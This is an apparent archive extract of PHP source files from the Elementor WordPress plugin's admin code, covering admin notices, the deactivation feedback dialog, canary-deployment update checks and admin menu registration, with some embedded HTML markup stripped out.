new Theme_Missing(); $this->inspections['htaccess'] = new Htaccess(); $is_editing_shop_page = Utils::get_super_global_value( $_GET, 'post' ) == get_option( 'woocommerce_shop_page_id' ); if ( $is_editing_shop_page ) { $this->inspections['shop-page-edit'] = new Shop_Page_Edit(); } } /** * @param Inspection_Base $inspection */ public function register_inspection( $inspection ) { $this->inspections[ $inspection->get_name() ] = $inspection; } public function run_inspections() { $debug_data = [ 'message' => esc_html__( "We’re sorry, but something went wrong. Click on 'Learn more' and follow each of the steps to quickly solve it.", 'elementor' ), 'header' => esc_html__( 'The preview could not be loaded', 'elementor' ), 'doc_url' => 'https://go.elementor.com/preview-not-loaded/', ]; foreach ( $this->inspections as $inspection ) { if ( ! $inspection->run() ) { $debug_data = [ 'message' => $inspection->get_message(), 'header' => $inspection->get_header_message(), 'doc_url' => $inspection->get_help_doc_url(), 'error' => true, ]; break; } } return $debug_data; } } core/admin/admin-notices.php000064400000043472147206604650012053 0ustar00install_time ) { $this->install_time = Plugin::$instance->get_install_time(); } return $this->install_time; } private function get_elementor_pages_count() { if ( null === $this->elementor_pages_count ) { $elementor_pages = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => 'any', 'post_status' => 'publish', 'fields' => 'ids', 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'meta_key' => '_elementor_edit_mode', 'meta_value' => 'builder', ] ); $this->elementor_pages_count = $elementor_pages->post_count; } return $this->elementor_pages_count; } private function notice_api_upgrade_plugin() { $upgrade_notice = Api::get_upgrade_notice(); if ( empty( $upgrade_notice ) ) { return false; } if ( ! current_user_can( 'update_plugins' ) ) { return false; } if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_elementor', 'edit-elementor_library', 'elementor_page_elementor-system-info', 'dashboard' ], true ) ) { return false; } // Check for upgrades. $update_plugins = get_site_transient( 'update_plugins' ); $has_remote_update_package = ! ( empty( $update_plugins ) || empty( $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ] ) || empty( $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ]->package ) ); if ( ! $has_remote_update_package && empty( $upgrade_notice['update_link'] ) ) { return false; } if ( $has_remote_update_package ) { $product = $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ]; $details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $product->slug . '§ion=changelog&TB_iframe=true&width=600&height=800' ); $upgrade_url = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . ELEMENTOR_PLUGIN_BASE ), 'upgrade-plugin_' . ELEMENTOR_PLUGIN_BASE ); $new_version = $product->new_version; } else { $upgrade_url = $upgrade_notice['update_link']; $details_url = $upgrade_url; $new_version = $upgrade_notice['version']; } // Check if upgrade messages should be shown. if ( version_compare( ELEMENTOR_VERSION, $upgrade_notice['version'], '>=' ) ) { return false; } $notice_id = 'upgrade_notice_' . $upgrade_notice['version']; if ( User::is_user_notice_viewed( $notice_id ) ) { return false; } $message = sprintf( /* translators: 1: Details URL, 2: Accessibility text, 3: Version number, 4: Update URL, 5: Accessibility text. */ __( 'There is a new version of Elementor Page Builder available. View version %3$s details or update now.', 'elementor' ), esc_url( $details_url ), esc_attr( sprintf( /* translators: %s: Elementor version. */ __( 'View Elementor version %s details', 'elementor' ), $new_version ) ), $new_version, esc_url( $upgrade_url ), esc_attr( esc_html__( 'Update Now', 'elementor' ) ) ); $options = [ 'title' => esc_html__( 'Update Notification', 'elementor' ), 'description' => $message, 'button' => [ 'icon_classes' => 'dashicons dashicons-update', 'text' => esc_html__( 'Update Now', 'elementor' ), 'url' => $upgrade_url, ], 'id' => $notice_id, ]; $this->print_admin_notice( $options ); return true; } private function notice_api_notice() { $admin_notice = Api::get_admin_notice(); if ( empty( $admin_notice ) ) { return false; } if ( ! current_user_can( 'manage_options' ) ) { return false; } if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_elementor', 'edit-elementor_library', 'elementor_page_elementor-system-info', 'dashboard' ], true ) ) { return false; } $notice_id = 'admin_notice_api_' . $admin_notice['notice_id']; if ( User::is_user_notice_viewed( $notice_id ) ) { return false; } $options = [ 'title' => esc_html__( 'Update Notification', 'elementor' ), 'description' => $admin_notice['notice_text'], 'id' => $notice_id, ]; $this->print_admin_notice( $options ); return true; } private function notice_tracker() { if ( ! current_user_can( 'manage_options' ) ) { return false; } // Show tracker notice after 24 hours from installed time. if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) { return false; } if ( '1' === get_option( 'elementor_tracker_notice' ) ) { return false; } if ( Tracker::is_allow_track() ) { return false; } if ( 2 > $this->get_elementor_pages_count() ) { return false; } // TODO: Skip for development env. $optin_url = wp_nonce_url( add_query_arg( 'elementor_tracker', 'opt_into' ), 'opt_into' ); $optout_url = wp_nonce_url( add_query_arg( 'elementor_tracker', 'opt_out' ), 'opt_out' ); $tracker_description_text = esc_html__( 'Become a super contributor by opting in to share non-sensitive plugin data and to receive periodic email updates from us.', 'elementor' ); /** * Tracker admin description text. * * Filters the admin notice text for non-sensitive data collection. * * @since 1.0.0 * * @param string $tracker_description_text Description text displayed in admin notice. */ $tracker_description_text = apply_filters( 'elementor/tracker/admin_description_text', $tracker_description_text ); $message = esc_html( $tracker_description_text ) . ' ' . esc_html__( 'Learn more.', 'elementor' ) . ''; $options = [ 'title' => esc_html__( 'Love using Elementor?', 'elementor' ), 'description' => $message, 'button' => [ 'text' => esc_html__( 'Sure! I\'d love to help', 'elementor' ), 'url' => $optin_url, 'type' => 'cta', ], 'button_secondary' => [ 'text' => esc_html__( 'No thanks', 'elementor' ), 'url' => $optout_url, 'variant' => 'outline', 'type' => 'cta', ], ]; $this->print_admin_notice( $options ); return true; } private function notice_rate_us_feedback() { $notice_id = 'rate_us_feedback'; if ( ! current_user_can( 'manage_options' ) ) { return false; } if ( 'dashboard' !== $this->current_screen_id || User::is_user_notice_viewed( $notice_id ) ) { return false; } if ( 10 >= $this->get_elementor_pages_count() ) { return false; } $dismiss_url = add_query_arg( [ 'action' => 'elementor_set_admin_notice_viewed', 'notice_id' => esc_attr( $notice_id ), ], admin_url( 'admin-post.php' ) ); $options = [ 'title' => esc_html__( 'Congrats!', 'elementor' ), 'description' => esc_html__( 'You created over 10 pages with Elementor. Great job! If you can spare a minute, please help us by leaving a five star review on WordPress.org.', 'elementor' ), 'id' => $notice_id, 'button' => [ 'text' => esc_html__( 'Happy To Help', 'elementor' ), 'url' => 'https://go.elementor.com/admin-review/', 'new_tab' => true, 'type' => 'cta', ], 'button_secondary' => [ 'text' => esc_html__( 'Hide Notification', 'elementor' ), 'classes' => [ 'e-notice-dismiss' ], 'url' => esc_url_raw( $dismiss_url ), 'new_tab' => true, 'type' => 'cta', ], ]; $this->print_admin_notice( $options ); return true; } private function notice_role_manager_promote() { $notice_id = 'role_manager_promote'; if ( Utils::has_pro() ) { return false; } if ( ! current_user_can( 'manage_options' ) ) { return false; } if ( 'elementor_page_elementor-role-manager' !== $this->current_screen_id || User::is_user_notice_viewed( $notice_id ) ) { return false; } $users = new \WP_User_Query( [ 'fields' => 'ID', 'number' => 10, ] ); if ( 5 > $users->get_total() ) { return false; } $options = [ 'title' => esc_html__( 'Managing a multi-user site?', 'elementor' ), 'description' => esc_html__( 'With Elementor Pro, you can control user access and make sure no one messes up your design.', 'elementor' ), 'id' => $notice_id, 'button' => [ 'text' => esc_html__( 'Learn More', 'elementor' ), 'url' => 'https://go.elementor.com/plugin-promotion-role-manager/', 'new_tab' => true, 'type' => 'cta', ], ]; $options = Filtered_Promotions_Manager::get_filtered_promotion_data( $options, 'core/admin/notice_role_manager_promote', 'button', 'url' ); $this->print_admin_notice( $options ); return true; } private function notice_experiment_promotion() { $notice_id = 'experiment_promotion'; if ( ! current_user_can( 'manage_options' ) || User::is_user_notice_viewed( $notice_id ) ) { return false; } $experiments = Plugin::$instance->experiments; $is_all_performance_features_active = ( $experiments->is_feature_active( 'e_element_cache' ) && $experiments->is_feature_active( 'e_font_icon_svg' ) ); if ( $is_all_performance_features_active ) { return false; } $options = [ 'title' => esc_html__( 'Improve your site’s performance score.', 'elementor' ), 'description' => esc_html__( 'With our experimental speed boosting features you can go faster than ever before. Look for the Performance label on our Experiments page and activate those experiments to improve your site loading speed.', 'elementor' ), 'id' => $notice_id, 'button' => [ 'text' => esc_html__( 'Try it out', 'elementor' ), 'url' => Settings::get_settings_tab_url( 'experiments' ), 'type' => 'cta', ], 'button_secondary' => [ 'text' => esc_html__( 'Learn more', 'elementor' ), 'url' => 'https://go.elementor.com/wp-dash-experiment-promotion/', 'new_tab' => true, 'type' => 'cta', ], ]; $this->print_admin_notice( $options ); return true; } private function notice_design_not_appearing() { $installs_history = get_option( 'elementor_install_history', [] ); $is_first_install = 1 === count( $installs_history ); if ( $is_first_install || ! current_user_can( 'update_plugins' ) ) { return false; } $notice_id = 'design_not_appearing'; $notice = User::get_user_notices()[ $notice_id ] ?? []; $notice_version = $notice['meta']['version'] ?? null; $is_version_changed = $this->get_elementor_version() !== $notice_version; if ( $is_version_changed ) { User::set_user_notice( $notice_id, false, [ 'version' => $this->get_elementor_version() ] ); } if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_elementor', 'edit-elementor_library', 'elementor_page_elementor-system-info', 'dashboard', 'update-core', 'plugins' ], true ) ) { return false; } if ( User::is_user_notice_viewed( $notice_id ) ) { return false; } $options = [ 'title' => esc_html__( 'The version was updated successfully!', 'elementor' ), 'description' => sprintf( esc_html__( 'Encountering issues after updating the version? Don’t worry - we’ve collected all the fixes for troubleshooting common issues. %1$sFind a solution%2$s', 'elementor' ), '', '' ), 'id' => $notice_id, ]; $excluded_pages = []; $this->print_admin_notice( $options, $excluded_pages ); return true; } // For testing purposes public function get_elementor_version() { return ELEMENTOR_VERSION; } private function notice_plugin_image_optimization() { $notice_id = 'plugin_image_optimization'; if ( 'upload' !== $this->current_screen_id ) { return false; } if ( ! current_user_can( 'manage_options' ) || User::is_user_notice_viewed( $notice_id ) ) { return false; } $attachments = new \WP_Query( [ 'post_type' => 'attachment', 'post_status' => 'any', 'fields' => 'ids', ] ); if ( 1 > $attachments->found_posts ) { return false; } $plugin_file_path = 'image-optimization/image-optimization.php'; $plugin_slug = 'image-optimization'; if ( is_plugin_active( $plugin_file_path ) ) { return false; } if ( $this->is_plugin_installed( $plugin_file_path ) ) { $url = wp_nonce_url( 'plugins.php?action=activate&plugin=' . $plugin_file_path . '&plugin_status=all&paged=1&s', 'activate-plugin_' . $plugin_file_path ); $cta_text = esc_html__( 'Activate Plugin', 'elementor' ); } else { $url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $plugin_slug ), 'install-plugin_' . $plugin_slug ); $cta_text = esc_html__( 'Install Plugin', 'elementor' ); } $options = [ 'title' => esc_html__( 'Speed up your website with Image Optimizer by Elementor', 'elementor' ), 'description' => esc_html__( 'Automatically compress and optimize images, resize larger files, or convert to WebP. Optimize images individually, in bulk, or on upload.', 'elementor' ), 'id' => $notice_id, 'type' => 'cta', 'button_secondary' => [ 'text' => $cta_text, 'url' => $url, 'type' => 'cta', ], ]; $this->print_admin_notice( $options ); return true; } private function is_plugin_installed( $file_path ): bool { $installed_plugins = get_plugins(); return isset( $installed_plugins[ $file_path ] ); } public function print_admin_notice( array $options, $exclude_pages = self::DEFAULT_EXCLUDED_PAGES ) { global $pagenow; if ( in_array( $pagenow, $exclude_pages, true ) ) { return; } $default_options = [ 'id' => null, 'title' => '', 'description' => '', 'classes' => [ 'notice', 'e-notice' ], // We include WP's default notice class so it will be properly handled by WP's js handler 'type' => '', 'dismissible' => true, 'icon' => 'eicon-elementor', 'button' => [], 'button_secondary' => [], ]; $options = array_replace_recursive( $default_options, $options ); $notice_classes = $options['classes']; $dismiss_button = ''; $icon = ''; if ( $options['type'] ) { $notice_classes[] = 'e-notice--' . $options['type']; } if ( $options['dismissible'] ) { $label = esc_html__( 'Dismiss this notice.', 'elementor' ); $notice_classes[] = 'e-notice--dismissible'; $dismiss_button = ''; } if ( $options['icon'] ) { $notice_classes[] = 'e-notice--extended'; $icon = '
'; } $wrapper_attributes = [ 'class' => $notice_classes, ]; if ( $options['id'] ) { $wrapper_attributes['data-notice_id'] = $options['id']; } ?>
>

$button_settings ) { if ( empty( $button_settings['variant'] ) && $index ) { $button_settings['variant'] = 'outline'; } if ( empty( $button_settings['text'] ) ) { continue; } $button = new Button( $button_settings ); $button->print_button(); } ?>
install_time = Plugin::$instance->get_install_time(); $this->current_screen_id = get_current_screen()->id; foreach ( $this->plain_notices as $notice ) { $method_callback = "notice_{$notice}"; if ( $this->$method_callback() ) { return; } } /** @var Base_Notice $notice_instance */ foreach ( $this->get_notices() as $notice_instance ) { if ( ! $notice_instance->should_print() ) { continue; } $this->print_admin_notice( $notice_instance->get_config() ); // It exits the method to make sure it prints only one notice. return; } } /** * @since 2.9.0 * @access public */ public function __construct() { add_action( 'admin_notices', [ $this, 'admin_notices' ], 20 ); } /** * Get module name. * * Retrieve the module name. * * @since 2.9.0 * @access public * * @return string Module name. */ public function get_name() { return 'admin-notices'; } } core/admin/feedback.php000064400000013325147206604650011037 0ustar00is_plugins_screen() ) { return; } add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_feedback_dialog_scripts' ] ); } ); // Ajax. add_action( 'wp_ajax_elementor_deactivate_feedback', [ $this, 'ajax_elementor_deactivate_feedback' ] ); } /** * Get module name. * * Retrieve the module name. * * @since 1.7.0 * @access public * * @return string Module name. */ public function get_name() { return 'feedback'; } /** * Enqueue feedback dialog scripts. * * Registers the feedback dialog scripts and enqueues them. * * @since 1.0.0 * @access public */ public function enqueue_feedback_dialog_scripts() { add_action( 'admin_footer', [ $this, 'print_deactivate_feedback_dialog' ] ); $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_register_script( 'elementor-admin-feedback', ELEMENTOR_ASSETS_URL . 'js/admin-feedback' . $suffix . '.js', [ 'elementor-common', 'wp-i18n', ], ELEMENTOR_VERSION, true ); wp_enqueue_script( 'elementor-admin-feedback' ); wp_set_script_translations( 'elementor-admin-feedback', 'elementor' ); } /** * Print deactivate feedback dialog. * * Display a dialog box to ask the user why he deactivated Elementor. * * Fired by `admin_footer` filter. * * @since 1.0.0 * @access public */ public function print_deactivate_feedback_dialog() { $deactivate_reasons = [ 'no_longer_needed' => [ 'title' => esc_html__( 'I no longer need the plugin', 'elementor' ), 'input_placeholder' => '', ], 'found_a_better_plugin' => [ 'title' => esc_html__( 'I found a better plugin', 'elementor' ), 'input_placeholder' => esc_html__( 'Please share which plugin', 'elementor' ), ], 'couldnt_get_the_plugin_to_work' => [ 'title' => esc_html__( 'I couldn\'t get the plugin to work', 'elementor' ), 'input_placeholder' => '', ], 'temporary_deactivation' => [ 'title' => esc_html__( 'It\'s a temporary deactivation', 'elementor' ), 'input_placeholder' => '', ], 'elementor_pro' => [ 'title' => esc_html__( 'I have Elementor Pro', 'elementor' ), 'input_placeholder' => '', 'alert' => esc_html__( 'Wait! Don\'t deactivate Elementor. You have to activate both Elementor and Elementor Pro in order for the plugin to work.', 'elementor' ), ], 'other' => [ 'title' => esc_html__( 'Other', 'elementor' ), 'input_placeholder' => esc_html__( 'Please share the reason', 'elementor' ), ], ]; ?>
$reason ) : ?>
id, [ 'plugins', 'plugins-network' ] ); } } core/admin/canary-deployment.php000064400000011756147206604650012754 0ustar00response ) ) { return $transient; } // Placeholder $stable_version = '0.0.0'; if ( ! empty( $transient->response[ static::PLUGIN_BASE ]->new_version ) ) { $stable_version = $transient->response[ static::PLUGIN_BASE ]->new_version; } if ( null === $this->canary_deployment_info ) { $this->canary_deployment_info = $this->get_canary_deployment_info(); } // Can be false - if canary version is not available. if ( empty( $this->canary_deployment_info ) ) { return $transient; } if ( ! version_compare( $this->canary_deployment_info['new_version'], $stable_version, '>' ) ) { return $transient; } $canary_deployment_info = $this->canary_deployment_info; // Most of plugin info comes from the $transient but on first check - the response is empty. if ( ! empty( $transient->response[ static::PLUGIN_BASE ] ) ) { $canary_deployment_info = array_merge( (array) $transient->response[ static::PLUGIN_BASE ], $canary_deployment_info ); } $transient->response[ static::PLUGIN_BASE ] = (object) $canary_deployment_info; return $transient; } protected function get_canary_deployment_remote_info( $force ) { return Api::get_canary_deployment_info( $force ); } private function get_canary_deployment_info() { global $pagenow; $force = 'update-core.php' === $pagenow && isset( $_GET['force-check'] ); $canary_deployment = $this->get_canary_deployment_remote_info( $force ); if ( empty( $canary_deployment['plugin_info']['new_version'] ) ) { return false; } $canary_version = $canary_deployment['plugin_info']['new_version']; if ( version_compare( $canary_version, static::CURRENT_VERSION, '<=' ) ) { return false; } if ( ! empty( $canary_deployment['conditions'] ) && ! $this->check_conditions( $canary_deployment['conditions'] ) ) { return false; } return $canary_deployment['plugin_info']; } private function check_conditions( $groups ) { foreach ( $groups as $group ) { if ( $this->check_group( $group ) ) { return true; } } return false; } private function check_group( $group ) { $is_or_relation = ! empty( $group['relation'] ) && 'OR' === $group['relation']; unset( $group['relation'] ); $result = false; foreach ( $group as $condition ) { // Reset results for each condition. $result = false; switch ( $condition['type'] ) { case 'wordpress': // phpcs:ignore WordPress.WP.CapitalPDangit.Misspelled // include an unmodified $wp_version include ABSPATH . WPINC . '/version.php'; $result = version_compare( $wp_version, $condition['version'], $condition['operator'] ); break; case 'multisite': $result = is_multisite() === $condition['multisite']; break; case 'language': $in_array = in_array( get_locale(), $condition['languages'], true ); $result = 'in' === $condition['operator'] ? $in_array : ! $in_array; break; case 'plugin': if ( ! empty( $condition['plugin_file'] ) ) { $plugin_file = $condition['plugin_file']; // For PHP Unit tests. } else { $plugin_file = WP_PLUGIN_DIR . '/' . $condition['plugin']; // Default. } $version = ''; if ( is_plugin_active( $condition['plugin'] ) && file_exists( $plugin_file ) ) { $plugin_data = get_plugin_data( $plugin_file ); if ( isset( $plugin_data['Version'] ) ) { $version = $plugin_data['Version']; } } $result = version_compare( $version, $condition['version'], $condition['operator'] ); break; case 'theme': $theme = wp_get_theme(); if ( wp_get_theme()->parent() ) { $theme = wp_get_theme()->parent(); } if ( $theme->get_template() === $condition['theme'] ) { $version = $theme->version; } else { $version = ''; } $result = version_compare( $version, $condition['version'], $condition['operator'] ); break; } if ( ( $is_or_relation && $result ) || ( ! $is_or_relation && ! $result ) ) { return $result; } } return $result; } /** * @since 2.6.0 * @access public */ public function __construct() { add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_version' ] ); } } core/admin/menu/interfaces/admin-menu-item.php000064400000000444147206604650015366 0ustar00init_args(); $this->init_options(); add_action( 'admin_menu', function() { $this->register(); } ); if ( $this->options['separator'] ) { add_action( 'admin_menu', function() { $this->add_menu_separator(); } ); add_filter( 'custom_menu_order', '__return_true' ); add_filter( 'menu_order', function( $menu_order ) { return $this->rearrange_menu_separator( $menu_order ); } ); } } public function get_args( $arg = null ) { return self::get_items( $this->args, $arg ); } public function add_submenu( $submenu_args ) { $default_submenu_args = [ 'page_title' => '', 'capability' => $this->args['capability'], 'function' => null, 'index' => null, ]; $this->submenus[] = array_merge( $default_submenu_args, $submenu_args ); } protected function get_init_options() { return []; } protected function register_default_submenus() {} protected function register() { $args = $this->args; add_menu_page( $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'], $args['icon_url'], $args['position'] ); $this->register_default_submenus(); do_action( 'elementor/admin/menu_registered/' . $args['menu_slug'], $this ); usort( $this->submenus, function( $a, $b ) { return $a['index'] - $b['index']; } ); foreach ( $this->submenus as $index => $submenu_item ) { $submenu_args = [ $args['menu_slug'], $submenu_item['page_title'], $submenu_item['menu_title'], $submenu_item['capability'], $submenu_item['menu_slug'], $submenu_item['function'], ]; if ( 0 === $submenu_item['index'] ) { $submenu_args[] = 0; } add_submenu_page( ...$submenu_args ); if ( ! empty( $submenu_item['class'] ) ) { global $submenu; $submenu[ $args['menu_slug'] ][ $index + 1 ][4] = $submenu_item['class']; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } } } private function init_args() { $default_args = [ 'function' => null, 'icon_url' => null, 'position' => null, ]; $this->args = array_merge( $default_args, $this->get_init_args() ); } private function init_options() { $default_options = [ 'separator' => false, ]; $this->options = array_merge( $default_options, $this->get_init_options() ); } private function add_menu_separator() { global $menu; $slug = $this->args['menu_slug']; $menu[] = [ '', 'read', 'separator-' . $slug, '', 'wp-menu-separator ' . $slug ]; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } private function rearrange_menu_separator( $menu_order ) { // Initialize our custom order array. $custom_menu_order = []; $slug = $this->args['menu_slug']; $separator_name = 'separator-' . $slug; // Get the index of our custom separator. $custom_separator = array_search( $separator_name, $menu_order, true ); // Loop through menu order and do some rearranging. foreach ( $menu_order as $item ) { if ( $slug === $item ) { $custom_menu_order[] = $separator_name; $custom_menu_order[] = $item; unset( $menu_order[ $custom_separator ] ); } elseif ( $separator_name !== $item ) { $custom_menu_order[] = $item; } } // Return order. return $custom_menu_order; } } core/admin/menu/main.php000064400000004011147206604650011173 0ustar00 esc_html__( 'Elementor', 'elementor' ), 'menu_title' => esc_html__( 'Elementor', 'elementor' ), 'capability' => 'manage_options', 'menu_slug' => 'elementor', 'function' => [ Plugin::$instance->settings, 'display_settings_page' ], 'position' => 58.5, ]; } protected function get_init_options() { return [ 'separator' => true, ]; } protected function register_default_submenus() { $this->add_submenu( [ 'page_title' => esc_html_x( 'Templates', 'Template Library', 'elementor' ), 'menu_title' => esc_html_x( 'Templates', 'Template Library', 'elementor' ), 'menu_slug' => Source_Local::ADMIN_MENU_SLUG, 'index' => 0, ] ); $this->add_submenu( [ 'menu_title' => esc_html__( 'Help', 'elementor' ), 'menu_slug' => 'go_knowledge_base_site', 'function' => [ Plugin::$instance->settings, 'handle_external_redirects' ], 'index' => 150, ] ); } protected function register() { parent::register(); $this->rearrange_elementor_submenu(); } private function rearrange_elementor_submenu() { global $submenu; $elementor_menu_slug = $this->get_args( 'menu_slug' ); $elementor_submenu_old_index = null; $tools_submenu_index = null; foreach ( $submenu[ $elementor_menu_slug ] as $index => $submenu_item ) { if ( $elementor_menu_slug === $submenu_item[2] ) { $elementor_submenu_old_index = $index; } elseif ( Tools::PAGE_ID === $submenu_item[2] ) { $tools_submenu_index = $index; break; } } $elementor_submenu = array_splice( $submenu[ $elementor_menu_slug ], $elementor_submenu_old_index, 1 ); $elementor_submenu[0][0] = esc_html__( 'Settings', 'elementor' ); array_splice( $submenu[ $elementor_menu_slug ], $tools_submenu_index, 0, $elementor_submenu ); } } core/admin/menu/admin-menu-manager.php000064400000005367147206604650013730 0ustar00items[ $item_slug ] = $item; } public function unregister( $item_slug ) { unset( $this->items[ $item_slug ] ); } public function get( $item_slug ) { if ( empty( $this->items[ $item_slug ] ) ) { return null; } return $this->items[ $item_slug ]; } public function get_all() { return $this->items; } public function register_actions() { add_action( 'admin_menu', function () { $this->register_wp_menus(); }, 20 ); add_action( 'admin_head', function () { $this->hide_invisible_menus(); } ); } private function register_wp_menus() { do_action( 'elementor/admin/menu/register', $this ); $hooks = []; foreach ( $this->get_all() as $item_slug => $item ) { $is_top_level = empty( $item->get_parent_slug() ); if ( $is_top_level ) { $hooks[ $item_slug ] = $this->register_top_level_menu( $item_slug, $item ); } else { $hooks[ $item_slug ] = $this->register_sub_menu( $item_slug, $item ); } } do_action( 'elementor/admin/menu/after_register', $this, $hooks ); } private function register_top_level_menu( $item_slug, Admin_Menu_Item $item ) { $has_page = ( $item instanceof Admin_Menu_Item_With_Page ); $has_position = ( $item instanceof Admin_Menu_Item_Has_Position ); $page_title = $has_page ? $item->get_page_title() : ''; $callback = $has_page ? [ $item, 'render' ] : ''; $position = $has_position ? $item->get_position() : null; return add_menu_page( $page_title, $item->get_label(), $item->get_capability(), $item_slug, $callback, '', $position ); } private function register_sub_menu( $item_slug, Admin_Menu_Item $item ) { $has_page = ( $item instanceof Admin_Menu_Item_With_Page ); $page_title = $has_page ? $item->get_page_title() : ''; $callback = $has_page ? [ $item, 'render' ] : ''; return add_submenu_page( $item->get_parent_slug(), $page_title, $item->get_label(), $item->get_capability(), $item_slug, $callback ); } private function hide_invisible_menus() { foreach ( $this->get_all() as $item_slug => $item ) { if ( $item->is_visible() ) { continue; } $is_top_level = empty( $item->get_parent_slug() ); if ( $is_top_level ) { remove_menu_page( $item_slug ); } else { remove_submenu_page( $item->get_parent_slug(), $item_slug ); } } } } core/admin/admin.php000064400000075552147206604650010415 0ustar00=' ); } else { // If `$latest_install` is not set, Elementor was never installed on this site. $is_new_install = true; } if ( $already_had_onboarding || ! $is_new_install ) { return; } wp_safe_redirect( admin_url( 'admin.php?page=elementor-app#onboarding' ) ); exit; } private function register_packages() { $assets_config_provider = ( new Assets_Config_Provider() ) ->set_path_resolver( function ( $name ) { return ELEMENTOR_ASSETS_PATH . "js/packages/{$name}/{$name}.asset.php"; } ); Collection::make( [ 'ui', 'icons', 'query' ] ) ->each( function( $package ) use ( $assets_config_provider ) { $suffix = Utils::is_script_debug() ? '' : '.min'; $config = $assets_config_provider->load( $package )->get( $package ); if ( ! $config ) { return; } wp_register_script( $config['handle'], ELEMENTOR_ASSETS_URL . "js/packages/{$package}/{$package}{$suffix}.js", $config['deps'], ELEMENTOR_VERSION, true ); } ); } /** * Enqueue admin scripts. * * Registers all the admin scripts and enqueues them. * * Fired by `admin_enqueue_scripts` action. * * @since 1.0.0 * @access public */ public function enqueue_scripts() { wp_register_script( 'elementor-admin-modules', $this->get_js_assets_url( 'admin-modules' ), [], ELEMENTOR_VERSION, true ); $this->register_packages(); // Temporary solution for the admin. wp_register_script( 'elementor-ai-admin', $this->get_js_assets_url( 'ai-admin' ), [ 'elementor-common', 'elementor-v2-ui', 'elementor-v2-icons', ], ELEMENTOR_VERSION, true ); wp_register_script( 'elementor-admin', $this->get_js_assets_url( 'admin' ), [ 'elementor-common', 'elementor-admin-modules', ], ELEMENTOR_VERSION, true ); wp_enqueue_script( 'elementor-admin' ); wp_set_script_translations( 'elementor-admin', 'elementor' ); $this->maybe_enqueue_hints(); $this->print_config(); } /** * Enqueue admin styles. * * Registers all the admin styles and enqueues them. * * Fired by `admin_enqueue_scripts` action. * * @since 1.0.0 * @access public */ public function enqueue_styles() { $direction_suffix = is_rtl() ? '-rtl' : ''; wp_register_style( 'elementor-admin', $this->get_css_assets_url( 'admin' . $direction_suffix ), [ 'elementor-common', ], ELEMENTOR_VERSION ); wp_enqueue_style( 'elementor-admin' ); // It's for upgrade notice. // TODO: enqueue this just if needed. add_thickbox(); } /** * Print switch mode button. * * Adds a switch button in post edit screen (which has cpt support). To allow * the user to switch from the native WordPress editor to Elementor builder. * * Fired by `edit_form_after_title` action. * * @since 1.0.0 * @access public * * @param \WP_Post $post The current post object. */ public function print_switch_mode_button( $post ) { // Exit if Gutenberg are active. if ( did_action( 'enqueue_block_editor_assets' ) ) { return; } $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document || ! $document->is_editable_by_current_user() ) { return; } wp_nonce_field( basename( __FILE__ ), '_elementor_edit_mode_nonce' ); ?>
documents->get( $post_id )->set_is_built_with_elementor( ! empty( $_POST['_elementor_post_mode'] ) ); } /** * Add Elementor post state. * * Adds a new "Elementor" post state to the post table. * * Fired by `display_post_states` filter. * * @since 1.8.0 * @access public * * @param array $post_states An array of post display states. * @param \WP_Post $post The current post object. * * @return array A filtered array of post display states. */ public function add_elementor_post_state( $post_states, $post ) { $document = Plugin::$instance->documents->get( $post->ID ); if ( $document && $document->is_built_with_elementor() && $document->is_editable_by_current_user() ) { $post_states['elementor'] = esc_html__( 'Elementor', 'elementor' ); } return $post_states; } /** * Body status classes. * * Adds CSS classes to the admin body tag. * * Fired by `admin_body_class` filter. * * @since 1.0.0 * @access public * * @param string $classes Space-separated list of CSS classes. * * @return string Space-separated list of CSS classes. */ public function body_status_classes( $classes ) { global $pagenow; if ( in_array( $pagenow, [ 'post.php', 'post-new.php' ], true ) && Utils::is_post_support() ) { $post = get_post(); $document = Plugin::$instance->documents->get( $post->ID ); $mode_class = $document && $document->is_built_with_elementor() ? 'elementor-editor-active' : 'elementor-editor-inactive'; $classes .= ' ' . $mode_class; } return $classes; } /** * Plugin action links. * * Adds action links to the plugin list table * * Fired by `plugin_action_links` filter. * * @since 1.0.0 * @access public * * @param array $links An array of plugin action links. * * @return array An array of plugin action links. */ public function plugin_action_links( $links ) { $settings_link = sprintf( '%2$s', admin_url( 'admin.php?page=' . Settings::PAGE_ID ), esc_html__( 'Settings', 'elementor' ) ); array_unshift( $links, $settings_link ); $go_pro_text = esc_html__( 'Get Elementor Pro', 'elementor' ); if ( Utils::is_sale_time() ) { $go_pro_text = esc_html__( 'Discounted Upgrades Now!', 'elementor' ); } $links['go_pro'] = sprintf( '%2$s', 'https://go.elementor.com/go-pro-wp-plugins/', $go_pro_text ); return $links; } /** * Plugin row meta. * * Adds row meta links to the plugin list table * * Fired by `plugin_row_meta` filter. * * @since 1.1.4 * @access public * * @param array $plugin_meta An array of the plugin's metadata, including * the version, author, author URI, and plugin URI. * @param string $plugin_file Path to the plugin file, relative to the plugins * directory. * * @return array An array of plugin row meta links. */ public function plugin_row_meta( $plugin_meta, $plugin_file ) { if ( ELEMENTOR_PLUGIN_BASE === $plugin_file ) { $row_meta = [ 'docs' => '' . esc_html__( 'Docs & FAQs', 'elementor' ) . '', 'ideo' => '' . esc_html__( 'Video Tutorials', 'elementor' ) . '', ]; $plugin_meta = array_merge( $plugin_meta, $row_meta ); } return $plugin_meta; } /** * Admin footer text. * * Modifies the "Thank you" text displayed in the admin footer. * * Fired by `admin_footer_text` filter. * * @since 1.0.0 * @access public * * @param string $footer_text The content that will be printed. * * @return string The content that will be printed. */ public function admin_footer_text( $footer_text ) 